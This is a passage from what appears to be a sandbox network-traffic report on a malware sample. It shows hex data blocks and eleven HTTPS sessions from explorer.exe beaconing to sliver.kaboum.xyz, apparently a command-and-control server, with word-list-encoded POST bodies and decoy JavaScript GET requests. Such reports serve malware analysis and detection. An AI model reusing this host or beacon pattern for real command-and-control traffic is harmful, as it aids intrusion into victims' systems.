2024-12-18 07:46:07 UTC	8000	IN	Data Raw: d9 d2 03 b4 77 cd 76 b5 f7 1b f5 12 d8 fe c1 d8 d2 67 6c 0f 64 1e 39 71 7d 5f bc 67 85 52 dd b8 ef 26 38 ef ff c3 1e 27 4e 68 1e c3 05 98 3b 88 b2 37 2a af cd 8d 7c ac e1 4e 38 59 04 92 7d 3b 28 e0 d8 41 9c 78 3d e9 ec ad 4a a0 d4 eb 43 62 2b 25 4d 97 b1 23 10 6b 27 71 7e b6 c6 9c fe 82 7b 72 22 12 27 bf 48 92 f6 37 da 39 43 88 7c 48 96 a7 e9 9f 84 03 96 8b 6e 30 ed 18 da 16 64 34 e6 15 66 9b a2 e6 fd f8 6a 50 60 cd de 7c be 1a 2d b7 c4 13 9c 2c 92 b0 01 68 04 52 aa b0 f4 2b e8 bd d1 66 41 35 e1 a6 40 71 33 41 8d a3 93 0f 7a 3e d5 5c 3f 70 fa 53 20 d9 38 99 62 dd d0 0f 19 ad 60 5c 36 6f 19 66 6e f8 22 b9 12 1a 85 f9 29 70 a5 aa fc 2d 09 9e b4 7d 60 4f dd 9f eb 35 5d b2 2e dc 4c 5c ff ab 07 97 6a a3 ac f6 51 8d 8e dd 3e c1 eb 2c f9 a7 bb 3d 46 de 1a 29 88 Data Ascii: wvgld9q}_gR&8'Nh;7*\|N8Y};(Ax=JCb+%M#k'q~{r"'H79C\|Hn0d4fjP`\|-,hR+fA5@q3Az>\?pS 8b`\6ofn")p-}`O5].L\jQ>,=F)
2024-12-18 07:46:07 UTC	8000	IN	Data Raw: a7 6e 32 1d 8b ea fd bb 80 c0 31 b2 04 b6 ea cc 03 fd a7 eb cb 14 f6 11 22 b6 0d bc b9 b3 31 a5 55 07 f8 98 a7 2f bd 75 ac 1c 81 2d 5a ff 37 f7 37 de 6d 08 a4 c2 2c 1d 38 1c 63 78 ea f8 59 22 c4 f8 93 eb 53 d6 ee af ab e7 9c e1 51 4c e2 27 67 d4 83 db 99 52 2d c5 46 fb 3c 1e 84 3b fe 6b 86 5c 33 c3 b7 a1 89 6d a8 ee be 21 ac 0c 14 b9 6b 28 c5 2e cb 10 1a 59 79 40 8b 08 75 6c 60 5e a0 fa c8 0a 57 00 e4 30 6c e1 ae 9d cf 4d ff b2 25 b4 d5 f7 99 5b 8f aa f9 18 e5 01 0a c8 96 c3 2b 43 da 30 f3 5e 37 01 7c 7d 01 08 d3 e6 73 e8 8b 85 f6 65 1f fd 55 dd d6 bf d3 3a 97 dd 03 7f 7a 18 2c e9 18 48 b9 ac a9 03 ba e7 a3 5b be 3e 5c d6 3c 4f f3 2e 53 f0 0e c0 7c 1d d2 ed 75 54 de 55 a9 50 76 64 c8 4f 22 f6 2b 9c 7d 4b 45 8e 9c 6e 01 c6 5e 4c 71 92 0a d0 37 fa 23 fa 3e Data Ascii: n21"1U/u-Z77m,8cxY"SQL'gR-F<;k\3m!k(.Yy@ul`^W0lM%[+C0^7\|}seU:z,H[>\<O.S\|uTUPvdO"+}KEn^Lq7#>
2024-12-18 07:46:07 UTC	8000	IN	Data Raw: f5 f2 4d 9f 17 c9 e4 c1 b6 90 d4 24 c0 7c 44 bd 19 7e f8 6c 88 58 3e 22 fb 40 a6 ab bc d6 d3 45 9b e9 56 8b 0f f3 ef 74 70 4f a0 55 f0 c1 ae 17 13 f3 98 18 36 68 82 ee d4 1f 3a ad 31 00 0d 73 ff 69 39 40 c8 d5 f1 38 90 f1 bf 91 f8 4c cb ef 07 fd 9b ae a9 59 67 01 1f 1f 1f 83 be 5a 98 99 ec b7 cf 6e ca 7a 14 38 9f eb 40 83 28 e0 20 b4 67 80 34 2f 81 2b a8 99 e6 86 b2 70 dc 14 58 02 f3 1a 50 d2 bc 70 c2 66 d2 77 0f af b7 7d e6 30 bc ab 3d e5 18 cf 52 91 53 8c eb be 8a ee 02 9c e2 2e 70 a8 1b 0c cb d6 08 32 8b 46 56 7e 13 ad 3f 87 7c 5b 26 12 47 f5 ef d7 77 60 ea 6b f8 c5 40 3e b9 8f 5d b6 6f 4e c8 2f b3 e9 3b a8 02 3a e8 3d c4 b5 72 e3 12 cf 68 b4 21 4f cb 66 39 7c f3 43 29 52 65 1f c2 49 b6 44 a5 ab f6 7a 6d a4 9e 7b 00 9a ff 1d a5 b5 ac b1 0c 30 f0 77 61 Data Ascii: M$\|D~lX>"@EVtpOU6h:1si9@8LYgZnz8@( g4/+pXPpfw}0=RS.p2FV~?\|[&Gw`k@>]oN/;:=rh!Of9\|C)ReIDzm{0wa
2024-12-18 07:46:07 UTC	8000	IN	Data Raw: be 1d 92 91 43 a6 9c 0e a8 a1 9a 42 a5 d1 5d 81 93 a0 f1 5c 4e 5b 6f 7f 5f c5 18 ef c4 88 dd f5 9a c2 e6 f0 07 60 f2 2e 62 85 3b 73 0e 56 53 08 62 1d 96 4a 79 b5 9a a6 5b 42 4f 4c cb a7 98 6e b8 18 a0 cd 64 4d 3f 1b f5 c5 12 ab 33 57 18 ed 54 37 a5 40 e5 2f 91 7a aa e8 29 bd 65 0c f8 be c7 58 88 75 29 06 98 30 1a 58 8f 91 77 d3 f0 54 e3 32 09 a6 cc ee a7 b9 9a 4a 2f 2d bc 85 5a 00 3f ac 50 12 ae 45 fb e7 a3 3c 55 aa 0b ab 08 73 72 4e fb dc d6 b3 a3 a2 de 29 a5 32 37 98 99 65 39 77 a9 b5 bc 71 60 14 11 7e bb 56 74 ef d1 82 ea 39 5a 34 86 77 8e 38 1d 6e 13 a5 a0 de 2d ac 02 38 26 c8 d1 81 8f ed 7f ce b9 d6 f5 8c dd 47 45 57 09 dc 59 53 3a 2f a8 d2 82 0d db 9f 82 61 ee a7 98 59 74 e0 e4 7b 4c a9 34 a2 e7 5f 6c 8e 97 01 45 e5 f1 43 7a fa 71 e5 f3 6b 97 f6 db Data Ascii: CB]\N[o_`.b;sVSbJy[BOLndM?3WT7@/z)eXu)0XwT2J/-Z?PE<UsrN)27e9wq`~Vt9Z4w8n-8&GEWYS:/aYt{L4_lECzqk
2024-12-18 07:46:07 UTC	8000	IN	Data Raw: 28 f5 95 39 41 c3 c2 87 51 e5 9a fb 74 85 04 32 08 16 82 dc 9f 90 d2 90 0f be e8 2f aa 09 c7 d2 e3 fb 54 4c e5 f2 cd cb 9e 8b 41 a3 5a d9 cf ac 45 19 4a 28 37 3b 28 d9 dc 82 4d 72 3c 5e 04 50 51 8f 9b 0e f1 92 f4 50 6a 51 93 92 e4 83 1b 11 e7 e4 6f 72 9d 8a fd 54 d4 e7 3d 15 cb ce c3 c7 98 cb 89 a0 8b 90 da b9 53 d1 4a a2 33 bd df 35 c4 9c 57 e1 a2 6b 69 2f ce c7 87 c4 c0 cf e8 d0 16 18 79 dd a9 6a 8a 0d 7f 4a 75 c9 73 66 0c b5 9a e5 7a 93 1f a2 3a 52 12 45 8e 0d 6a 77 92 2f 29 70 36 1a a6 20 cb 90 1e 24 90 1d 4e fd 27 49 cc 7b f2 f6 b0 54 27 09 46 0c fd 83 6f 95 63 5d 47 ba f7 89 1e 34 9c 68 9e 50 61 2f 23 cd 2a ac 25 0c 7e 7e 0a 5d 77 5b 76 f8 cc 31 09 20 04 e5 46 9a 4f f6 54 a9 d8 e4 f6 c8 45 96 e9 40 d1 f8 c7 41 a2 ed 55 1a 1c 46 e9 43 b4 29 68 28 4e Data Ascii: (9AQt2/TLAZEJ(7;(Mr<^PQPjQorT=SJ35Wki/yjJusfz:REjw/)p6 $N'I{T'Foc]G4hPa/#*%~~]w[v1 FOTE@AUFC)h(N
2024-12-18 07:46:07 UTC	8000	IN	Data Raw: 7e 82 a1 a0 8d 43 c5 53 65 b7 09 e7 d1 9e 12 2b 71 f5 af cd ec a1 90 14 1c d2 05 81 33 17 92 4a ef 5f 7f 79 35 0c 27 e9 e4 6a ff 60 6c 0d ba cb 44 b1 1c 67 e7 c9 97 f5 8b 5c 3e 75 68 21 b0 68 fb 11 9e d6 c0 d6 3b 77 55 99 9b b3 2e 0e 91 35 95 bc 48 d1 3f ef a9 27 64 22 fe b7 9b e6 91 8a aa 20 79 f7 65 50 18 ed 5e e6 c0 73 8a 42 f4 dd fe 4f 93 92 02 dd 36 77 a8 d8 4f 01 c4 bd 17 b1 42 50 25 21 0d d1 d7 65 11 a7 10 fc 58 63 6b 7b 33 bb e5 ec 15 b8 24 a7 47 29 a3 8a ba dc 21 76 8e c4 b8 e8 1b ab 98 8b 52 8d 65 8e ae 8c c5 73 ca 71 ba c7 00 fe ff f7 e3 6b fd 3c cb af a0 06 b0 f3 4a 65 d9 fa 97 7a ec 87 6d 48 a4 79 21 8f 7d 28 cd 71 e2 ca aa 2f 89 49 96 51 d6 0f 5e 28 60 61 0c 51 b0 ac 89 f3 2c 97 49 02 0f e2 2e a2 f6 47 e2 39 5c 0b 2c 53 10 1f 98 25 33 a8 54 Data Ascii: ~CSe+q3J_y5'j`lDg\>uh!h;wU.5H?'d" yeP^sBO6wOBP%!eXck{3$G)!vResqk<JezmHy!}(q/IQ^(`aQ,I.G9\,S%3T
2024-12-18 07:46:07 UTC	8000	IN	Data Raw: 4f 20 6b 66 38 ff e3 11 8d cd 96 22 9b 6f 15 2f 83 1d ce 14 01 be 99 59 dd f9 11 fa 2d 5e ba 61 6f 76 f4 fe 3c 55 eb 98 d2 8b f7 bb fc a8 66 8a a7 d5 ae f3 63 09 2f 6a 51 ef 26 35 a9 e4 a6 d5 05 42 f0 a3 50 4f d5 fc 72 9f 29 6e cc 31 39 9a 01 4a 58 17 f9 77 3f 0e 78 c9 d0 24 57 84 dd 53 90 da fb 85 21 1f 2f 5d e3 83 4c 3d ed ed a1 1e 8e b0 59 34 9e 8d bd 56 ff 4e 9f 52 8a a9 ae 63 df 9c 54 54 68 00 70 59 39 8a 31 16 e4 3c c3 8c 7c 2c 3a c4 96 fb 81 08 68 9d 55 ba 2a 96 a6 98 4f 8a 5c b3 3b 1a dc 69 33 94 e3 3a 13 6c 5b 95 22 78 6c cc a9 8d 3d 35 81 54 72 90 7a d5 1f 63 64 5f e8 64 6a d6 62 da 10 f3 99 f9 13 45 59 c5 7d a2 38 c2 df 2c d0 48 71 86 d4 37 b0 84 b7 a1 d7 33 09 fa 8d c3 76 b9 7c 58 ff 55 cf 54 86 3e fa 2a 2e 9b 97 7c 52 d8 9d c2 57 d8 b1 c1 c2 Data Ascii: O kf8"o/Y-^aov<Ufc/jQ&5BPOr)n19JXw?x$WS!/]L=Y4VNRcTThpY91<\|,:hUO\;i3:l["xl=5Trzcd_djbEY}8,Hq73v\|XUT>.\|RW
2024-12-18 07:46:07 UTC	8000	IN	Data Raw: 09 58 9d 9c 95 a5 d6 e7 ab e1 3e e1 27 8e 37 09 36 3c d6 01 23 ae c3 54 b2 2b 27 33 3b 37 ed 0d bc 87 22 d7 02 22 7c 42 4b a7 6e 45 5f 82 bc 3f 83 2e f4 87 ab f4 ec de f9 2c 8a e4 8b 95 2b 4e 4e f8 59 cb 5a 01 6c 97 b5 12 34 e3 f0 ad 9f 82 04 4c c8 ba 1e f1 5f 54 56 9f 8e 29 e5 07 b4 24 31 d1 0b 8d 52 7b 74 2d e5 68 f8 4c b7 fd eb f7 77 97 24 66 91 50 c7 94 c7 a0 97 ef 52 05 7c 20 2d 26 b1 5e 2a 19 e3 e4 6c f5 5c 50 ce 83 88 7b 85 c1 84 df a7 90 97 ef 82 04 b3 ab 0b cf cf dc 68 23 87 df ba dc ee de 28 42 cb 12 2b 91 42 b5 ef 95 37 25 19 75 80 27 98 25 ad 22 ac a3 f8 8c ae bd 6f d0 eb bf 09 0b fc c2 1a 8a 9a 3c 83 8f ca 05 4d d2 fb bd 4f f3 ed f1 f2 a1 24 99 2e 6b 2a 27 3c ff b7 06 0a 4d 57 1b 02 e8 f4 b1 a3 65 29 4f 9a 0b 8c 78 9e f4 b1 a1 6c 5c d4 9a 2a Data Ascii: X>'76<#T+'3;7""\|BKnE_?.,+NNYZl4L_TV)$1R{t-hLw$fPR\| -&^l\P{h#(B+B7%u'%"o<MO$.k'<MWe)Oxl\*

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49735	51.44.82.197	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:46:37 UTC	279	OUT	POST /namespaces/oauth/oauth/api/api.html?e_=5y8741670&j=1q5593623 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Content-Length: 2537 Accept-Encoding: gzip
2024-12-18 07:46:37 UTC	907	OUT	Data Raw: 43 41 52 44 49 4f 54 48 4f 52 41 43 49 43 20 46 49 52 45 50 4f 57 45 52 53 20 52 45 46 55 53 45 4e 49 4b 20 43 4f 4e 54 4f 55 52 53 20 53 48 41 56 45 52 20 55 4e 52 45 53 4f 4c 56 41 42 4c 45 20 44 4f 55 42 4c 45 48 45 41 44 45 52 20 4c 41 4d 49 4e 41 54 4f 52 20 43 48 49 4e 41 53 20 44 49 44 44 4c 45 52 53 20 53 54 4f 4d 41 43 48 45 52 53 20 53 4f 4c 41 4e 44 20 57 49 53 54 46 55 4c 4e 45 53 53 20 4e 41 5a 49 20 46 41 54 41 4c 49 53 4d 20 53 4c 49 43 4b 20 42 4c 49 4d 50 20 44 52 49 4c 4c 41 42 49 4c 49 54 59 20 50 52 41 43 54 49 43 45 53 20 43 49 47 55 41 54 45 52 41 53 20 4c 45 55 43 49 4e 45 53 20 54 45 43 48 4e 4f 4c 4f 47 49 45 53 20 52 4f 43 4b 53 48 41 46 54 53 20 54 45 43 48 4e 4f 4c 4f 47 49 45 53 20 44 49 47 49 54 49 5a 45 44 20 41 4c 49 59 4f Data Ascii: CARDIOTHORACIC FIREPOWERS REFUSENIK CONTOURS SHAVER UNRESOLVABLE DOUBLEHEADER LAMINATOR CHINAS DIDDLERS STOMACHERS SOLAND WISTFULNESS NAZI FATALISM SLICK BLIMP DRILLABILITY PRACTICES CIGUATERAS LEUCINES TECHNOLOGIES ROCKSHAFTS TECHNOLOGIES DIGITIZED ALIYO
2024-12-18 07:46:37 UTC	1630	OUT	Data Raw: 4f 5a 59 20 53 4f 55 4e 44 49 4e 47 20 42 4f 52 4e 45 20 44 45 50 52 45 43 49 41 54 4f 52 20 52 45 4a 55 56 45 4e 41 54 4f 52 20 43 4f 4e 46 45 52 4d 45 4e 54 53 20 41 50 50 45 4e 44 49 58 20 53 41 4d 50 48 49 52 45 20 52 45 44 45 56 45 4c 4f 50 45 44 20 4b 45 59 53 54 4f 4e 45 20 41 55 44 49 42 4c 45 53 20 53 4f 50 48 49 53 54 49 43 41 54 45 44 4c 59 20 50 45 4e 54 41 43 4c 45 20 41 4e 54 49 4d 4f 4e 59 20 52 45 56 45 52 53 45 52 20 45 56 49 4e 43 49 4e 47 20 53 4f 55 4e 44 49 4e 47 20 53 55 4c 50 48 41 54 45 20 57 49 54 53 20 46 41 44 45 41 57 41 59 20 41 52 52 41 4e 47 45 44 20 57 45 45 44 4c 49 4b 45 20 42 55 43 4b 53 48 4f 54 20 41 49 4c 45 52 4f 4e 20 4c 4f 43 4f 20 52 55 4e 44 4f 57 4e 20 52 55 4e 44 4f 57 4e 20 50 59 52 45 54 49 43 20 50 53 59 43 Data Ascii: OZY SOUNDING BORNE DEPRECIATOR REJUVENATOR CONFERMENTS APPENDIX SAMPHIRE REDEVELOPED KEYSTONE AUDIBLES SOPHISTICATEDLY PENTACLE ANTIMONY REVERSER EVINCING SOUNDING SULPHATE WITS FADEAWAY ARRANGED WEEDLIKE BUCKSHOT AILERON LOCO RUNDOWN RUNDOWN PYRETIC PSYC
2024-12-18 07:46:38 UTC	255	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache, must-revalidate Set-Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362e; HttpOnly Date: Wed, 18 Dec 2024 07:46:38 GMT Content-Length: 858 Content-Type: text/plain; charset=utf-8 Connection: close
2024-12-18 07:46:38 UTC	858	IN	Data Raw: 4f 56 45 52 4c 45 41 52 4e 20 53 41 52 43 4f 50 4c 41 53 4d 20 57 41 53 48 45 54 45 52 49 41 20 53 4d 45 45 4b 20 53 4f 4c 4c 45 52 45 54 53 20 44 45 44 49 43 41 54 4f 52 53 20 43 4f 5a 45 59 53 20 4f 50 45 20 54 52 49 45 52 41 52 43 48 53 20 43 48 49 43 41 4e 45 44 20 44 49 4d 49 4e 55 45 4e 44 4f 53 20 57 49 54 4c 45 53 53 4e 45 53 53 45 53 20 53 50 45 41 4e 20 48 4f 52 52 49 44 20 43 4f 4e 47 52 55 49 54 49 45 53 20 50 52 45 43 49 54 45 44 20 41 54 4d 4f 53 50 48 45 52 45 44 20 4f 56 45 52 45 4e 43 4f 55 52 41 47 45 44 20 43 4f 4e 53 49 53 54 53 20 44 41 4c 45 20 41 53 48 49 45 52 20 50 4c 41 51 55 45 20 53 55 50 45 52 41 42 55 4e 44 41 4e 43 45 20 49 4e 54 45 52 53 50 45 52 53 49 4e 47 20 53 57 49 53 53 45 53 20 42 49 52 44 42 52 41 49 4e 20 4d 4f 4e Data Ascii: OVERLEARN SARCOPLASM WASHETERIA SMEEK SOLLERETS DEDICATORS COZEYS OPE TRIERARCHS CHICANED DIMINUENDOS WITLESSNESSES SPEAN HORRID CONGRUITIES PRECITED ATMOSPHERED OVERENCOURAGED CONSISTS DALE ASHIER PLAQUE SUPERABUNDANCE INTERSPERSING SWISSES BIRDBRAIN MON

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49740	51.44.82.197	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:46:39 UTC	491	OUT	GET /javascript/script/javascripts/javascript/app.min.js?k=100708pl054 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362e Accept-Encoding: gzip
2024-12-18 07:46:42 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:46:42 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49742	51.44.82.197	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:46:39 UTC	311	OUT	POST /php/namespaces/db/samples.php?t=721425e9 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Content-Length: 3270 Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362e Accept-Encoding: gzip
2024-12-18 07:46:39 UTC	875	OUT	Data Raw: 48 55 52 54 4c 45 53 20 43 48 45 45 52 49 4e 47 20 4b 4e 45 45 43 41 50 50 49 4e 47 20 44 52 49 4c 4c 41 42 49 4c 49 54 59 20 52 55 4e 44 4f 57 4e 20 55 4e 43 55 54 45 20 53 41 44 44 4c 45 52 49 45 53 20 53 54 45 52 49 4c 49 5a 41 54 49 4f 4e 20 4d 55 43 4b 52 41 4b 49 4e 47 20 52 45 54 45 41 4d 20 48 59 50 45 52 52 4f 4d 41 4e 54 49 43 20 55 4e 50 45 52 53 55 41 44 45 44 20 55 4e 53 48 45 41 54 48 45 44 20 41 53 43 4f 53 50 4f 52 45 53 20 50 41 52 54 49 43 55 4c 41 52 49 5a 45 44 20 48 59 50 45 52 52 4f 4d 41 4e 54 49 43 20 55 4e 44 45 52 47 4f 45 53 20 45 4d 42 52 41 53 55 52 45 20 4a 41 55 4b 45 44 20 48 59 50 45 52 52 4f 4d 41 4e 54 49 43 20 46 52 4f 53 54 42 49 54 20 44 49 53 41 50 50 52 4f 42 41 54 49 4f 4e 53 20 5a 49 54 48 45 52 4e 20 48 59 50 45 Data Ascii: HURTLES CHEERING KNEECAPPING DRILLABILITY RUNDOWN UNCUTE SADDLERIES STERILIZATION MUCKRAKING RETEAM HYPERROMANTIC UNPERSUADED UNSHEATHED ASCOSPORES PARTICULARIZED HYPERROMANTIC UNDERGOES EMBRASURE JAUKED HYPERROMANTIC FROSTBIT DISAPPROBATIONS ZITHERN HYPE
2024-12-18 07:46:39 UTC	2372	OUT	Data Raw: 50 52 45 44 4f 4d 49 4e 41 54 45 20 42 4f 57 44 4c 45 52 49 53 45 20 4d 41 52 4b 55 50 20 50 55 50 50 45 54 53 20 50 49 43 54 55 52 49 5a 41 54 49 4f 4e 53 20 42 41 4c 4d 49 4e 45 53 53 45 53 20 55 4e 53 48 45 41 54 48 45 44 20 41 53 4c 4f 50 45 20 48 45 4d 49 53 50 48 45 52 45 53 20 44 45 45 44 59 20 53 49 54 41 52 49 53 54 53 20 4f 4d 4e 49 4d 4f 44 45 20 48 59 53 54 45 52 45 53 49 53 20 42 41 43 4b 48 41 4e 44 45 52 20 54 52 45 57 53 20 43 4f 55 4e 54 45 52 54 45 4e 44 45 4e 43 59 20 44 45 43 41 54 48 4c 45 54 45 20 57 4f 4f 52 41 4c 49 20 4e 41 5a 49 20 4d 41 52 43 48 45 53 20 4e 41 5a 49 20 53 54 4f 57 41 42 4c 45 20 45 41 53 45 46 55 4c 4c 59 20 4e 45 4d 45 53 45 53 20 52 55 4e 44 4f 57 4e 20 4f 52 41 44 20 41 53 53 49 47 4e 45 52 53 20 52 4f 44 45 Data Ascii: PREDOMINATE BOWDLERISE MARKUP PUPPETS PICTURIZATIONS BALMINESSES UNSHEATHED ASLOPE HEMISPHERES DEEDY SITARISTS OMNIMODE HYSTERESIS BACKHANDER TREWS COUNTERTENDENCY DECATHLETE WOORALI NAZI MARCHES NAZI STOWABLE EASEFULLY NEMESES RUNDOWN ORAD ASSIGNERS RODE
2024-12-18 07:46:39 UTC	23	OUT	Data Raw: 45 44 20 50 49 54 43 48 46 4f 52 4b 49 4e 47 20 4b 4f 4c 4b 48 4f 5a Data Ascii: ED PITCHFORKING KOLKHOZ
2024-12-18 07:46:40 UTC	100	IN	HTTP/1.1 202 Accepted Date: Wed, 18 Dec 2024 07:46:39 GMT Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49752	51.44.82.197	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:46:43 UTC	496	OUT	GET /javascript/javascript/script/javascripts/javascript/app.js?k=56j965629 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362e Accept-Encoding: gzip
2024-12-18 07:46:45 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:46:45 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49762	51.44.82.197	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:46:47 UTC	453	OUT	GET /js/js/script.js?p=943p34348 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362e Accept-Encoding: gzip
2024-12-18 07:46:49 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:46:48 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49769	51.44.82.197	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:46:50 UTC	468	OUT	GET /js/script/javascript/array.js?y=113v858r22 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362e Accept-Encoding: gzip
2024-12-18 07:46:53 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:46:53 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49780	51.44.82.197	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:46:55 UTC	445	OUT	GET /array.js?k=27362561 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362e Accept-Encoding: gzip
2024-12-18 07:46:58 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:46:58 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49791	51.44.82.197	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:46:59 UTC	469	OUT	GET /jscript/javascripts/backbone.js?m=592372t20 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362e Accept-Encoding: gzip
2024-12-18 07:47:01 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:47:01 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49802	51.44.82.197	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:47:02 UTC	477	OUT	GET /javascript/script/jscript/jscript/app.js?c=81295133 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362e Accept-Encoding: gzip
2024-12-18 07:47:05 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:47:04 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49811	51.44.82.197	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:47:06 UTC	474	OUT	GET /script/umd/jscript/script/umd/app.js?p=2v1499328 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362e Accept-Encoding: gzip
2024-12-18 07:47:08 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:47:08 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49820	51.44.82.197	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:47:10 UTC	476	OUT	GET /javascripts/javascripts/js/backbone.js?j=53g331447 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362e Accept-Encoding: gzip
